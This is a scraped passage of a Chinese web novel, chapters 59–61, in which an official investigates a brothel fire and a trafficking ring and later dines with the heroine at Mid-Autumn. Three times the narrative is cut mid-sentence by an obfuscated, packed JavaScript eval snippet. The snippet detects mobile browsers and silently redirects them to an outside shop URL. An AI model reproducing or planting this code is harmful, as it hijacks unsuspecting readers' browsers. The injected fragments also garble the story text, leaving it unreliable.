“自然不肯。戴嫔在宫中哭诉，伯府施压，刑部、大理寺都查了。可火场混乱，尸体大多烧得面目全非。唯一线索是有逃出的龟公回忆，起火前曾听见戴明书房中传来女子惨叫，不久便见了明火。最终官府以妓女水娘不堪凌辱，与戴明书争执间打翻灯烛引发火灾结案。玉娘与随儿被列为疑犯，发了海捕文书，多年杳无音信。” 裴宴沉默片刻，问：“翠玉楼的老鸨和其他知情者呢？还有戴明书的小厮护卫呢？” “老鸨死在大火里。几个知情的姑娘后来散的散、死的死，如今难寻踪迹。戴明书的小厮也被烧死了，那夜跟着他的护卫共有四人，当时都在下面吃酒，烧死了三个，有一个听说当时没死，官差来的时候似乎还活着，只是那样的烧伤，没等大夫来就已经不行了，到最后也没救过来。”秦海道，“属下是通过当年刑部一位已致仕书吏的后人，才辗转拿到这份残缺案卷。那书吏临终前曾念叨，翠玉楼的案子不简单。只是时隔多年，如今能找到这些已属万幸。” 不简单？的确不简单。 裴宴目光重新落回卷宗。名动京城的花魁，两个卑微的丫鬟，一场离奇大火，一桩悬案。十年后，千里之外的江南小城，一个成了庵堂住持，一个成了官宦家眷。 “玉娘如何成了崔娘子？”他问。 随秦海同来的另一侍卫接口：“属下查了崔琰那干儿子崔旺。此人并非崔琰亲族，原是其远房姻亲遗孤，七八岁时被崔琰收养。崔旺成年后替崔琰打理些明暗生意，算是心腹。约六年前，他从外地带回一女子，称是所娶浑家，便是如今的崔娘子。对外说是小户良家女，深居简出。属下买通的崔家旧仆隐约记得，崔旺带她回府时，她虽荆钗布裙，举止间却有些风尘痕迹，而且……琵琶弹得极好。” 琵琶弹得极好。 水娘最擅琵琶。玉娘作为贴身丫鬟，耳濡目染，会弹也不稀奇。 裴宴闭眼，线索在脑中迅速拼接。 一场大火，“葬送”了名妓水娘，也令玉娘与傻丫鬟随儿失踪。十年后，水娘可能以水仙姑的身份藏身江南庵堂，勾结地方豪强贩卖人口；玉娘则摇身变为发运使崔琰干儿子的夫人，跟随崔旺从京城来到菰城，替崔琰打理私下产业。 和戴明书死在一处的，恐怕不是水娘，而是那个傻丫鬟随儿。 裴宴蓦地睁眼，眸光锐利——好一招偷梁换柱。水娘将随儿弄进戴明书房中，放火后扮作随儿从角门逃走。如今知情的，除玉娘外，怕只剩水仙姑自己。 不，或许不止。 崔旺也很可疑。 “玉娘进翠玉楼前的底细查过吗？籍贯、来历？”裴宴问。 秦海摇头：“属下只着重查了翠玉楼一案，其余尚未深挖。是属下疏忽。” “那就去查，从头细查，不得有半点疏漏。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299140|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是。”秦海面露惭色。 “崔琰可知崔娘子真实身份？”裴宴转向赵先生。 赵先生与长风对视，均露难色：“尚未查实。崔琰此人极谨慎，对崔旺看似信任，实则未必，崔旺曾成过亲，生育有一女，据查前妻亡故，如今娶得这位继妻比他小不少，崔琰与这位继儿媳并不亲近，往来甚少。崔旺常在外为替崔琰打理生意，崔娘子独居京宅，深居简出。此次突然南下菰城，理由是体弱需江南气候将养，但时间点正在水灾前两月，颇为巧合。” 太巧了。 裴宴起身走到窗边。江风裹着寒意扑在脸上。 一个可能背负杀害伯府公子嫌疑的逃亡妓女，一个可能是大火中偷生换面的花魁。她们藏身江南，一明一暗，一个借庵堂遮掩，一个凭官眷身份。她们与掌江南漕运的崔琰千丝万缕，而崔琰背后，是宫中的宋贵妃，是大越的宋国公。 贩卖女子北上……真的只是为奴吗？ “戴明书，”裴晏忽然开口，声音冷澈，“他那晚去翠玉楼，是临时起意，还是有人邀约？” 众人一怔。赵先生旋即冷汗渗出：“大人怀疑……那晚是局？” “是否设局，尚难断言。”裴宴转身，目光如电，“但从那般大火与命案中逃脱的两人，十年后改头换面再度聚首，绝不为重温旧情。她们背后必有人，有更大的图谋。” 他略作停顿，接连下令： “秦海、张超，你二人继续追查翠玉楼旧案。务必弄清戴明书那晚是否有人引导，翠玉楼是否提前知悉风声。另，不惜代价寻访当年可能幸存的翠玉楼老人。” “长风，加派人手严密监视水月庵与柳枝巷崔家。水仙姑与崔娘子的一举一动，乃至飞鸽传书，皆需查明来龙去脉。” “先生，”裴宴看向窗外漆黑的江面，“修书京城，让我们的人细查崔旺。我要他所有生意往来、人脉牵连。” “是！”众人领命欲退。 “顾参军，”裴宴将案卷递给顾云，“这些证据你细细核验，再找人核实。” 顾云郑重接过。 裴宴看向一直静坐的王武，以及把玩着一柄镶宝西域弯刀的皇城司察子首领赵斌。刀是御赐，赵斌自幼与他一同长大，看似玩世不恭，却最是可靠。 “无伤，”裴宴对赵斌道，“有件事需你出面。” 赵斌“锵”一声收刀入鞘，敛了散漫神色，抬头示意。 “让你的人暗查菰城司户参军王兆仁，细之又细，确保无误。”裴宴指尖点了点案上地图，“今日是八月十三。过了中秋，九月二十之前，我要所有消息齐备。陛下给的期限是十月中旬，我们必须主动出击，九月底前须将一干人犯缉拿归案。” 在座诸人肃然起身：“是！” 书房重归寂静。裴宴坐回案前，目光再次掠过“水娘”与“玉娘”的名字。 长风此前已查到水仙姑与王大官人勾结，借庵堂贩运人口。若这些女子最终经崔琰掌控的漕运送往北地…… 一个令人脊背生寒的猜想逐渐成形。 或许从十年前翠玉楼那场大火起，就有一张网在暗中织就。水仙姑与崔娘子，不过是网上两枚重要的结。 那么，织网的人是谁？ 目的何在？ 60. 第60章 告状 裴宴回到房间时已是酉时三刻。 明月轻手轻脚地进来禀报：“郎主，孟知州在清风楼设了宴，说是请郎主务必赏光，几位乡绅也在。”他抬眼偷觑裴宴神色，又补了一句，“孟知州说，是为灾后重建筹措钱粮之事。” 裴宴正俯身看案上的地图，闻言头也未抬，只皱了皱眉：“回了他，就说我今日乏了，改日再议。” “是。”明月应声退下。 少顷，丫鬟端了饭菜进来。一盆炉焙鸡炖得酥烂，油亮金黄；一碟清炒菘菜翠绿欲滴；一条清蒸鲈鱼撒着姜丝葱段，鲜香扑鼻；另有一盘炸得酥脆的花生米，一壶温热的黄酒。裴宴这才觉出腹中空空，从清晨到此刻，他只在早间用了半碗白粥，午间匆匆扒了几口饭，便又埋首公务。 他唤来心腹幕僚赵先生和万先生，三人围坐小桌，默默地用了一餐简朴的晚饭。饭毕，裴宴挥挥手让他们各自歇息，明日还有要事。 烛火在案头跳跃，将他的影子拉得颀长。 就在这时，长风去而复返，悄无声息地进来，低声道：“郎主，柳枝巷那边……许娘子前日曾托属下带话，说若您得空，她有要事需与您禀报。” 裴宴执笔的手一顿，墨迹在纸上洇开一小团。他抬眼，眸色在烛光下显得有些深：“前日的事，为何今日才报？” 长风心头一紧，单膝跪地：“小的失职。这几日见您忙于事务，与孟知州他们议事，属下便……便自作主张，想待郎主空闲了再禀。” 书房内静了一瞬，只闻灯花轻微的爆裂声。 “下去领十军棍。”裴宴声音平淡，却不容置疑。 “是。”长风垂首欲退出去。 “回来。”裴宴却又叫住他，指尖无意识地敲了敲桌面，“她可曾说是什么事？约在何时何地？” “许娘子未详说，也未约定具体时辰地点。”长风小心回道，“郎主，要不属下现在就去柳枝巷问问？” 裴宴沉默片刻，忽然起身：“不必了。二十军棍，退下吧！” 长风一愣，随即垂头丧气的退了出去。 明月在门口站着，看到长风出来，面色有些怪异，小声道：“你也太不机敏了，许娘子和京城那些娘子不一样的，郎主对她也不一样的，我早叮嘱你，对许娘子要上心些，你偏不信，如今挨罚了吧！” “好你个明月，竟敢呲哒你风大爷，看我怎么收拾你。”两人小声嚷嚷着走远了。 裴宴在书房中踱了几步。窗外夜色浓稠，远处菰城的灯火零星点点，像困倦的眼。他想起那日仁心堂草棚外，许娇娇专注喂药的侧影；想起她递来粗布口罩时指尖的微凉；也想起沈谦望向她时，眼中那抹不容错辨的柔和。 心底某处，掠过一丝极细微的、连他自己都不愿深究的波动。 “来人，”他扬声唤道，“更衣，备马。” 柳枝巷深处，小院内。 许娇娇坐在老柳树下的石凳上，夏末的夜风已带了些许凉意，拂过她单薄的肩。旺财安静地卧在她脚边，喉咙里发出舒适的呼噜声。她有一搭没一搭地抚摸着旺财粗糙的皮毛，目光却时不时飘向紧闭的院门。 已是亥时初了。 她暗忖，长风应当把话带到了。可裴宴那般身份，赈灾、查案、应对官场，千头万绪，又怎会将她一个平头百姓的要事真正放在心上？或许，只是她病急乱投医，想当然耳。 心底升起一丝自嘲的涩意。她凭什么认为，如今那位冷面肃然的裴天使，会为她的事情深夜前来？ 正思量间，堂屋里传来静心的声音，隔着窗纸，模模糊糊的：“娇杏，热水烧好了，快来洗漱安置。” “就来。”许娇娇应了一声，起身拍了拍裙摆上并不存在的灰尘。 洗漱毕，她回到自己那间狭小却整洁的屋子。油灯如豆，映着四壁空寂。她吹熄了灯，躺上床，睁着眼看黑暗里模糊的房梁轮廓。 睡意迟迟不来。 忽然，窗棂被极轻地叩响了。 “笃、笃笃。” 许娇娇浑身一僵，呼吸瞬间屏住。她无声地坐起，指尖已摸向枕下那包备好的药粉。 “是我。”窗外传来男子低沉的声音，在寂静的夜里显得格外清晰，“许娘子可安歇了？” 这声音…… 许娇娇怔住，心跳却莫名漏了一拍。她掀被下床，趿了鞋，轻手轻脚走到窗边，压低声音：“裴安抚？” “嗯。”窗外人应了一声，“长风传话，说你寻我。” 他竟真的来了。在这个时辰，亲自来了。 许娇娇心中涌起一股复杂的滋味，惊讶，庆幸，感激、还有一丝连她自己都不愿承认的、细微的悸动。她稳了稳心神，迅速理了理微乱的鬓发和衣裙，才轻声道：“安抚使稍候。” 她转身点亮油灯，昏黄的光晕立刻充盈了小屋。犹豫了一瞬，她还是将门闩拉开，拉开了房门。 裴宴站在廊下。 他换了一身深青色的常服，未着官袍，少了白日里的威严冷峻，却多了几分夜色浸润下的清冽。月光与廊檐下灯笼的光交织，在他轮廓分明的侧脸上投下浅浅阴影。他身量很高，站在低矮的屋檐下，需微微低头。 许娇娇侧身让开：“深夜劳烦安抚使亲至，实在惶恐。请进。” 裴宴迈步入内，目光极快地扫过这间陋室。一床一桌一柜，陈设简单到近乎寒酸，却收拾得纤尘不染。空气中弥漫着淡淡的、混合了药草与皂角的清苦气息，与她身上惯有的味道如出一辙。 “无妨。”他在桌旁唯一一张看起来结实些的椅子上坐下，“你说有要事？” 许娇娇掩上门，却没有立刻坐下。她走到桌边，提起小火炉上一直温着的粗陶壶，倒了一杯热水，推到裴宴面前。水汽氤氲，模糊了两人之间的视线。 “是。”她在他对面的床沿坐下，隔着一张小方桌，抬起眼，目光清亮而坚定，“我，小女要告发水月庵住持水仙姑，杀人、略人、勾结地方豪强、戕害良善。” 裴宴端起粗陶杯的手微微一顿，抬眼看她：“证据？” 许娇娇深吸一口气。这一刻终于来了。她赌上了自己在这世间几乎全部的信任。 “第一桩，谋杀水月庵前任住持了尘师父。”她声音平稳，却字字清晰，“就在八年前开春的一天，水仙姑给了尘端了一杯茶，了尘师父饮后便心悸发作而死。了尘师父生前身体康健，并无心悸。因了尘师父发现水仙姑与归平县王大官人勾结略卖人口的证据，苦心劝阻无果，并欲要报官。此事，静尘师姐，也就是了尘师父的嫡传弟子亲眼目睹。尸体被水仙姑与她的心腹静非，连夜埋在了水月庵后山的一棵老歪脖子枣树下。静尘师姐知晓具体位置，可随时指认。” 裴宴神色未变，眸色却深了几分：“静尘就是你那个比丘尼师姐？” “是的，只是如今她和静心已经还俗。”许娇娇道，“她们二人，皆是水仙姑恶行的见证者与受害者。静尘师姐可为证，静心亦曾亲眼见过水仙姑与王大官人密会，以及她藏匿的内造金簪与艳俗衣物。” “第二桩，”她继续道，语速稍快，“水仙姑借水月庵为幌，与归平县王大官人长期勾结，以‘招工’、‘学艺’为名，诱拐、掳掠贫苦人家女子，或外地流落至菰城的孤女。女子被集中关押在庵堂后院的地窖或密室中，经水路，通过王大官人控制的船队，运往北地。此事，静心曾因无意中窥见地窖中被囚女子，而遭水仙姑毒打囚禁，险些丧命。静尘与静心逃出水月庵时，亦曾亲眼所见。” 裴宴静静听着，指尖在粗陶杯壁上缓缓摩挲。这些信息，与他之前查到的线索隐隐吻合。但由她口中这般清晰道出，分量又自不同。 “第三桩，”许娇娇的声音低了下去，“水仙姑与王大官人，曾多次设计陷害于我，欲除之而后快。从最初在水月庵后山，到后来的妖女传言，再到如今……我怀疑，柳枝巷新搬来的那位崔娘子，与水仙姑乃旧识，甚至可能，也是冲着我来的。” 她抬起眼，直视裴宴。灯火在她清澈的眸子里跳跃，映出一种混合了脆弱与坚韧的奇异光芒。 “小女人微言轻，无依无靠。水仙姑有王大官人为爪牙，王大官人在本地颇有势力，其弟王兆仁更是菰城司户参军。民女状告无门。前几日亦是为了自保，才不得不找人帮我盯着崔家。”她顿了顿，声音里透出一丝不易察觉的轻颤，却又被她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303403|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迅速压下，“民女如今知晓，天使也在调查他们。之前是我不知天使行事，还请天使勿怪。崔家和水仙姑，或许与您所查之事有所牵连。小女愿将所有所知和盘托出，静尘、静心亦可为证。只求……只求天使能秉公执法，铲除奸恶，还亡者公道，予生者安宁。” 说完这番话，她静静等着，双手在膝上悄然握紧。 裴宴没有立刻回应。 他看着她。她穿着半旧的浅青色寝衣，外头只松松罩了件外衫，乌发如瀑，仅用一根木簪绾住大半，几缕碎发垂在颈边，衬得那段脖颈越发纤细白皙。许是紧张，她的唇微微抿着，脸颊在灯光下泛着淡淡的、如玉般的光泽。 她确实很美。不是那种娇艳夺目的美，而是一种清泠的、如山间溪水月下竹影般的韵致。尤其是此刻，那双总是沉静从容的眸子里，清晰地映出他的影子，带着孤注一掷的信任，与一丝小心翼翼的……期盼。 她在求他庇护。用她掌握的秘密作为交换。 甚至，裴宴敏锐地察觉到，她此刻的姿态，那微微仰起的脸，轻颤的睫羽，无意中流露出的一丝脆弱，或许……并非全然无意。 她在试着利用他可能对她存有的那一点点好感。 这个认知，让裴宴心底掠过一丝极淡的、说不清道不明的情绪。像是被人用羽毛极轻地搔了一下，有点痒，有点恼，又有点……别的什么。 他并非不谙世事。官场沉浮，京城繁华，什么样的美人计谋他没见过？那些精心设计的邂逅，婉转含蓄的暗示，直白露骨的勾引……他向来嗤之以鼻，甚至厌烦。 可眼前这个女子不一样。她的利用带着一种近乎坦率的笨拙，她的算计底下，是真实的走投无路与恐惧。她像一只被逼到悬崖边的小兽，明明怕得发抖，却还是亮出了自己并不锋利的爪牙，试图抓住任何一根可能垂下的藤蔓。 而这种笨拙的、混合着真实恐惧与试探的“美人计”，竟奇异地……让他无法硬起心肠。 半晌，裴宴才开口，声音在寂静的夜里显得格外低沉：“你所言之事，关乎人命大案，本官自会查证。” 许娇娇的心提了起来。 “不过，”他话锋一转，目光如实质般落在她脸上，“你如何确定，本官就一定会管？又如何确信，本官管得了？” 许娇娇迎着他的目光，毫不闪避：“因为小女相信，裴安抚与那些官官相护之人不同。您临危受命，主持赈灾，亲力亲为，可见心系百姓。疫病之中，您调度有方，惩处懈怠官吏，可见不畏强权，公正严明。”她顿了顿，声音轻了些，却更清晰，“也因为……您曾派人暗中看护此院。这份善意，小女铭记于心。” 最后这句话，她说得轻而缓，目光微垂，长睫在眼下投下一小片阴影，恰好在脸颊上形成一抹欲说还休的柔婉。 裴宴的指尖在杯壁上停住了。 聪明，又大胆。 静默在两人之间蔓延，只有灯花偶尔爆开的细微声响。旺财在门外轻轻挠了下门板，呜咽了一声。 良久，裴宴放下早已凉透的水杯，站起身。 “此事本官已知晓。”他居高临下地看着她，恢复了平日那种疏淡冷静的口吻，“水月庵命案，贩卖人口，皆属刑案，本官会着人密查。在查明之前，你与静尘、静心，暂且安住于此，勿要轻举妄动，亦不必过于忧惧。” 他走到门边，又停下脚步，没有回头，只道：“柳枝巷内外，本官已加派了人手。寻常宵小，近不得此院。” 说完，他拉开门，玄色的衣角一闪，便融入了门外的夜色中。 夜风灌入，吹得桌上灯火猛地摇曳了几下。 许娇娇独自坐在床边，听着马蹄声由近及远，最终消失在巷子尽头。她缓缓松开紧握的双手，掌心已被指甲掐出了几道深深的红痕。 方才那一瞬间，她几乎用尽了全部的心力与勇气。她说了该说的，也试探了能试探的。甚至，刻意流露出些许柔弱之态——那是她从前最不屑为之的。 结果如何？她看不透裴宴那张总是没什么表情的脸。但他答应会查，还在柳枝巷安排了人手，这一点让许娇娇提了的许久的心放了下来，竟是前所未有的安心。 61. 第61章 柳枝巷的中秋宴 八月十五，中秋。 晨光尚未完全驱散夜露，柳枝巷深处的小院已弥漫开淡淡的甜香。静尘在井边淘洗新买的糯米，静心蹲在灶前小心地看火，旺财趴在厨房门口，鼻子一耸一耸，眼巴巴望着里头。 许娇娇系着粗布围裙，袖子挽到手肘，正站在案板前和面。阳光从窗外斜斜照进来，在她低垂的睫毛上跳跃。面是昨夜就发好的，已经醒得蓬松柔软。她将面团分成小剂，用掌心压平，舀一勺昨夜炒好的枣泥核桃馅料放进去，手指灵巧地收口、搓圆，再放进刻着花鸟纹的木模里轻轻一压。 “啪”一声轻响，月饼脱模而出。圆润的饼身上，清晰地印着一朵绽放的桂花，花瓣层叠，栩栩如生。 “真好看。”静心凑过来看，眼睛亮晶晶的，“娇杏，你从哪儿学来这么精巧的手艺？这模子花纹，比街上卖的还细。” 许娇娇笑了笑，没说话。这木模是她前些日子特意请巷口李木匠刻的，花样是她自己画的。前世的中秋，母亲总爱自己做月饼，枣泥的、豆沙的、五仁的……她跟在旁边打下手，日子久了也就会了。没想到穿越而来，这点手艺倒派上了用场。 枣泥是她用院子里那棵老枣树结的枣子，一颗颗去核，慢火熬成，加了少许糖和油，甜而不腻。核桃是刘寡妇送的，自家后院树上打的，烤香后捣碎，拌进枣泥里，添一分酥脆香气。 除了枣泥核桃的，她还准备了豆沙和五仁的。豆沙用赤小豆熬煮过筛，加了些许桂花糖；五仁则是花生、瓜子、芝麻、松子、杏仁，炒香后拌上麦芽糖和熟油，包进面皮里。 月饼坯子一个个做好，整齐码在竹屉上，刷一层薄薄的蛋黄液。静心已经将灶火调得恰到好处，许娇娇将竹屉放入锅中，盖上锅盖。 “要蒸多久？”静尘擦着手走过来。 “两刻钟。”许娇娇看了看天色，“等月饼好了，咱们就开始准备晚上的菜。” 她昨日就让长风带了口信给裴宴，邀他中秋夜若得空，就来小院用饭，以答谢他近日的看护之情。原本没抱太大希望，谁知午后长风便来回话，说大人应下了，酉时准到。 既然他肯来，她便想好好做一顿饭。不为别的，就为那份深夜前来听她陈情的信任，也为那些守在巷口暗处、让她得以安眠的身影。 月饼的甜香渐渐溢出锅沿，混着灶膛里松枝燃烧的清新气息，在小院里萦绕不散。 午后，许娇娇开始准备晚宴的菜肴。 食材是静尘一早去市集买的。洪水退后，市集恢复得很快，虽不如从前丰盛，但该有的也都有了。一只肥嫩的鹅，半扇羊头，活虾，时蔬，还有各种调料。 许娇娇先将鹅肝取出，用清水浸泡，换了几次水，直到血水尽去。然后取一小锅，倒入牛乳，将鹅肝放入，小火慢煮。这是去腥增嫩的秘诀，前世跟一位法餐厨师学的。煮好的鹅肝取出，用纱布包好，压上重物，使其定型。 接着处理羊头。羊头签是《东京梦华录》里记载的北宋名菜，她曾在复原古菜的节目里学过。羊头煮熟，拆下脸颊肉，切成细丝，用椒盐、姜末、少许茱萸粉和酱油拌匀。另取薄如蝉翼的面皮，将羊肉丝卷起，用蛋液封口，下油锅炸至金黄酥脆。 虾子鲜活，去壳留尾，从背部剖开，去除虾线。用少许盐、酒和姜汁腌制。锅里热油，虾仁滑炒至变色卷曲，迅速捞出。另起锅，用香油炒香捣碎的芥菜籽，加入少许糖、醋和酱油，调成芥末酱汁，淋在虾球上拌匀。这是她改良的芥末虾球，芥菜籽的辛香替代了前世用的芥末酱，别有一番风味。 凉拌三丝最简单，胡萝卜、青笋、豆腐皮切细丝，焯水后过凉，用盐、糖、醋、香油一拌，撒上炒香的芝麻，清爽开胃。 四道凉碟准备停当，摆在粗瓷盘里，竟也显得精致可爱。水晶鹅肝切成薄片，码成花朵状，莹润如玉；羊头签炸得金黄，整齐排列，香气扑鼻；芥末虾球碧绿衬着粉红，酸甜辛香；凉拌三丝色彩分明，脆嫩爽口。 静尘和静心在一旁看着，早已目瞪口呆。 “娇杏，这些……这些菜式，我见都没见过。”静尘喃喃道，“你是从哪里学来的？” 许娇娇手上不停，正在处理一条鲈鱼，闻言顿了顿，笑道：“从前在父亲留下的杂书里看的，自己瞎琢磨罢了。” 这借口她用惯了，倒也顺口。许大郎确实留下不少医书杂记，但她从小被赶出村子，房屋被侵占，她阿爹的东西都被人贪了，她一本也没拿到。但那又如何，谁又知道她没见过呢？ 热菜她打算做几道淮扬菜。前世她是扬州人，对家乡菜最是拿手。清炖蟹粉狮子头、大煮干丝、文思豆腐、松鼠鳜鱼——虽然鳜鱼难得，用鲈鱼替代也凑合。 狮子头要用三分肥七分瘦的猪肋条肉，手工细切粗斩，保持颗粒感。蟹粉是奢侈物，洪水刚过，无处可寻，她便用咸蛋黄代替，捣碎后拌入肉馅，加葱姜水、盐、少许糖，顺着一个方向搅打上劲。团成拳头大的肉丸，放入砂锅，加清汤、火腿片、冬笋片，小火慢炖两个时辰，直至酥烂入味。 大煮干丝考验刀工。豆腐干片成薄片，再切成细如发丝的干丝，放入清鸡汤中煮，加入火腿丝、鸡丝、笋丝、虾仁，汤汁醇厚，干丝吸饱鲜味，柔软鲜美。 文思豆腐更是极致刀工。一块嫩豆腐，先片后切，成丝后放入清水中，根根清晰，不碎不断。用清鸡汤煨煮，勾薄芡，撒火腿末、青菜丝，豆腐丝如云絮般在汤中飘荡，清雅至极。 松鼠鱼要改花刀。鲈鱼去骨，鱼肉切十字花刀，深度至皮，用葱姜水、盐、酒略腌，拍上干淀粉。下油锅炸至定型，鱼肉翻卷如松鼠尾巴。另起锅调糖醋汁，番茄酱无处可寻，她用山楂熬汁代替，加糖、醋、盐，勾芡后淋在鱼上，吱吱作响，酸甜适口。 等到夕阳西斜，小院里已飘满了复杂而诱人的香气。旺财急得团团转，被静心塞了块骨头才安分些。 许娇娇洗净手，换了身干净的月白色细葛布衣裙，头发重新绾过，插上那支素银簪子。脸上脂粉未施，却因忙碌了一日，双颊泛着自然的红晕，眼眸清亮如洗。 酉时初，巷口传来马蹄声。 裴宴果然准时。他今日未着官服，穿了一身雨过天青色的直裰，外罩同色暗纹氅衣，头发用玉冠束起，比平日少了几分威严，多了些许清俊的书卷气。长风和明月跟在他身后，两人手里还提着东西——一坛酒，一盒点心。 许娇娇迎到院门口，敛衽行礼：“裴大人。” 裴宴目光在她脸上停留了一瞬，颔首道：“叨扰了。” “大人肯来，是民女的荣幸。”许娇娇侧身让开，“请进。” 小院已被收拾得整洁温馨。老柳树下摆了两张方桌，一张略大些，铺着干净的蓝布；另一张小些，放在稍远处。桌上碗筷已摆好，粗瓷碗碟洗得发亮，在暮色中泛着温润的光。 裴宴的目光扫过院子，落在厨房门口那张小桌上——那里整齐摆放着四碟凉菜，造型精致，香气隐隐飘来。他眼中闪过一丝讶异。 许娇娇引他到主桌坐下，长风忙将酒和点心放在桌上。是一坛上好的绍兴花雕，点心盒子打开，是稻香斋的八件细点，枣泥酥、荷花酥、佛手酥……样样精巧。 “大人太客气了。”许娇娇道，“本该民女答谢大人，反倒让大人破费。” “一点心意。”裴宴淡淡道，目光却仍不由自主地飘向那几碟凉菜。 许娇娇会意，笑道：“民女胡乱做了几个小菜，还请大人莫要嫌弃。”她转身对静尘道，“师姐，可以上菜了。” 静尘和静心应声，将四碟凉菜端上主桌，又在旁边小桌上摆了一份。许娇娇亲自斟了两杯酒，一杯放在裴宴面前，一杯留给自己。 “长风大哥，明月大哥，你们也请坐。”她看向站在裴宴身后的两人。 长风和明月吓了一跳，连连摆手：“不敢不敢，小的们站着就好。” 裴宴看了他们一眼：“许娘子既说了，你们便坐吧。” 两人这才诚惶诚恐地在旁边小桌坐下，却只敢挨着半边凳子，腰板挺得笔直。静尘和静心更是不敢坐，静尘低声道：“娇杏，我们在厨房吃就好……” 许娇娇知道她们拘谨，也不勉强，温声道：“那师姐你们自便，需要什么自己取。” 月色渐渐明亮起来，如一匹银纱轻轻笼罩着小院。柳树的影子投在地上，随风微微晃动。 裴宴的目光落在面前的四碟凉菜上。水晶鹅肝莹白细腻，入口即化，带着牛乳的醇香和鹅肝特有的丰腴，毫无腥气；羊头签外酥里嫩，羊肉的鲜美被椒盐和茱萸激发得淋漓尽致，面皮薄脆，层次分明；芥末虾球酸甜中带着芥菜籽独特的辛香，虾肉弹牙，口感丰富；凉拌三丝清爽脆嫩，芝麻香气画龙点睛。 他每一道都尝了，放下筷子时，眼中讶色更浓。 “这些菜式，”他缓缓开口，声音在月色中显得清泠，“不似江南本地风味。” 许娇娇心头一跳，面上却依旧平静：“大人好眼力。有些是民女从杂书上看的古法，有些是自己瞎琢磨的。味道可还过得去？” “岂止过得去。”裴宴看着她，目光深邃，“许娘子好手艺。” 许娇娇垂下眼睫，为他布菜：“大人喜欢便好。”她转身又朝厨房道，“师姐，上热菜吧。” 清炖蟹粉狮子头用砂锅端上，盖子一掀，热气蒸腾，香气四溢。肉丸酥烂，用筷子轻轻一拨便散开，咸蛋黄的沙感混着猪肉的鲜嫩，汤汁清澈却滋味醇厚。 大煮干丝汤色乳白，干丝细如棉线，吸饱了火腿、鸡汤的精华，入口柔滑，鲜得眉毛都要掉下来。 文思豆腐更让裴宴瞳孔微缩。豆腐丝在清汤中如云雾缭绕，根根分明，舀一勺入口，嫩滑无比，几乎不用咀嚼便化在舌尖，只留满口豆香与鲜甜。 松鼠鲈鱼最后上桌，糖醋汁淋上时“滋啦”作响，鱼肉翻卷如花，色泽红亮。夹一块入口，外酥里嫩，酸甜汁恰到好处，山楂的微酸更添风味。 裴宴吃得不多，但每道菜都仔细尝过。他吃得慢，举止优雅，即便在这简陋的小院里，也自带一种与生俱来的矜贵气度。 许娇娇陪在一旁，偶尔为他斟酒，自己却喝得少。花雕温过，酒香醇厚，入口绵长。几杯下肚，她脸上渐渐泛起桃花般的红晕，眼神也氤氲了些许水光。 月色越发皎洁，洒在她侧脸上，肌肤莹润如玉。她微微侧头听着隔壁小桌低声说笑的声音，唇角不自觉扬起，那笑意清浅温柔，与平日沉静的模样又有些不同。 裴宴握着酒杯，目光在她脸上停留了片刻。 自相识以来，他见过她许多模样——元宵夜莽撞揪他衣襟的惊慌，医药会上从容应对的沉稳，疫病中不眠不休的坚毅，昨夜陈述案情时的孤注一掷。却从未见过她如此刻这般，放松的，柔软的，甚至带着点娇憨的模样。 像是终于卸下了所有防备，允许自己稍微喘一口气。 “许娘子，”他忽然开口，声音比平日柔和些许，“今日这宴，费心了。” 许娇娇转回头，眼眸在月光下亮晶晶的：“大人不嫌简陋便好。”她举起酒杯，微微倾身，“这一杯，谢大人近日看护之情。民女……感激不尽。” 她说得诚恳，眼中映着月色，也映着他的影子。 裴宴与她碰杯，瓷杯相击，发出清脆的声响。两人同时饮尽杯中酒，许娇娇被酒气呛了一下，轻轻咳嗽，眼角泛出一点泪光，忙用袖子掩住。 那模样，竟有几分可爱。 裴宴移开目光，望向天上那轮满月。月光清冷，但小院里灯火温暖，饭菜香气，人语低低，竟让他生出一种久违的、属于人间的安稳感。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314391|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“许娘子身怀绝技，”他重新看向她，语气似是随意，“医术精湛，如今看来，厨艺也颇为不凡。不知师从何人？” 来了。许娇娇心中暗叹。她就知道，这些超越时代的技艺，终究会引起怀疑。 她放下酒杯，手指无意识地摩挲着粗糙的杯壁，斟酌着字句：“父亲生前好读书，家中有些杂学古籍。民女幼时虽不能言，却喜翻看那些书，记性尚可，许多东西看一遍便记住了。后来……”她顿了顿，“后来一场大病，侥幸活下来，那些记忆反而越发清晰。有些菜式，是书中记载的古法；有些，是自己琢磨着试出来的。” 她抬眼看他，眼神清澈坦然：“让大人见笑了。民女只是喜欢琢磨这些，觉得……做菜如行医，都要用心，都要懂得调和之道。” 这话说得巧妙，将厨艺与医术类比，既解释了技艺来源，又暗合她医女的身份。 